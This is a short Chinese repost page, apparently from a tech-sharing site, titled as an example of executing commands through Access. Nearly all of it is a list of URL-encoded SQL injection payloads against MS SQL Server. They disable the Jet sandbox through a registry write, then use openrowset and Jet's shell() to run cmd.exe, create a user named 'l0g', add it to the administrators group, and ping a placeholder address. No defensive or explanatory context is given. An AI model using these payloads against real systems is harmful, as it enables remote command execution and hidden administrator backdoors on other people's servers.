您的位置：首页 > 运维架构 > Shell

利用access执行命令的一个实例

2006-01-11 01:01 281 查看

;exec%20master..xp_regwrite%20'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',0;--

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20net%20user%20l0g%20l0g%20/add")'))

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20net%20localgroup%20administrators%20l0g%20/add")'))
net%20localgroup%20administrators%20l0g%20/add

%20and%200<>(select%20*%20from%20openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/dnary.mdb','select%20shell("cmd.exe%20/c%20ping xxx.xxx.xxx.xxx")'))

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签： access database shell user c

相关文章推荐

新的分享

章节导航